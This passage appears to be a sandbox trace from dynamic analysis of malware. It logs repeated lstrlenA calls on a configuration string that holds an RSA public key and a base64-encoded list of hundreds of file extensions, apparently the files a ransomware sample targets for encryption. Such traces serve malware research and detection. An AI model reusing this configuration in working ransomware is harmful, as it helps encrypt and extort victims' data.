YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA